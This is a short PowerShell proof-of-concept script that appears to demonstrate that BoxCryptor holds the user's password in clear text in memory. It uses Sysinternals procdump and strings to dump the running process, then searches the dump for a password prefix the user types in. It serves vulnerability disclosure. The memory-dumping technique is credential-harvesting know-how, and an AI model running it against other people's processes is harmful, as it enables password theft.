Find-BoxCryptorCredentialsFromProcess.ps1

Find-BoxCryptorCredentialsFromProcess.ps1

<#
    .SYNOPSIS
        Find the password with a hint in clear text from a runnung BoxCryptor instance
    
    .DESCRIPTION
        A proof that BoxCryptor stores the users credentails in clear text in memory.
        System.Security.SecureString would be best practise.
        You need to input the first chars of your password.
  
    .NOTES
        Your password must be greater than 8 chars.
 
    .COMPONENT
        SysinternalsSuite is required.
        Running BoxCryptor is required.
 
    .LINK
        https://www.boxcryptor.com/en/download/
        https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite
 
#>

If (-NOT ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator"))
{
    Write-Warning "You do not have Administrator rights to run this script!`nPlease re-run this script as an Administrator!"
    Break
}

$procdump64Exe = 'C:\Tools\SysinternalsSuite\procdump64.exe'
$stringsExe = 'C:\Tools\SysinternalsSuite\strings.exe'

if(-not(Test-Path $procdump64Exe) -or -not (Test-Path $stringsExe))
{
    Write-Warning "procdump64.exe or strings.exe is missing!"
    Write-Warning "Go to https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite and download the sysinternals-suite"
    
    Break
}

if(-not(Test-Path 'C:\Temp\BoxCryptor\'))
{
    mkdir 'C:\Temp\BoxCryptor\'
}

$dump = 'C:\Temp\BoxCryptor\BoxCryptor.dmp'
$stringsfromdump = 'C:\Temp\BoxCryptor\stringsfromdump.txt'

Write-Progress -Activity 'Create memory dump from process' -PercentComplete 25
& $procdump64Exe -o -ma Boxcryptor.exe $dump -accepteula

Write-Progress -Activity 'Extract string from memory dump' -PercentComplete 50
& $stringsExe -n 8 $dump -accepteula > $stringsfromdump 

$pwdStarts = Read-Host 'First 8 chars of your password'

Write-Progress -Activity 'Search password in strings' -PercentComplete 75
$yourPwd = Get-Content $stringsfromdump | Select-String -Pattern "^$pwdStarts" | %{$_.Line}

if($yourPwd -eq $null)
{
    Write-Warning "Couldn't find password."
    Break
}

Write-Progress -Activity 'Found password' -PercentComplete 100
Write-Host  ("Your BoxCryptor Passwort is: {0}" -f $yourPwd) -ForegroundColor Red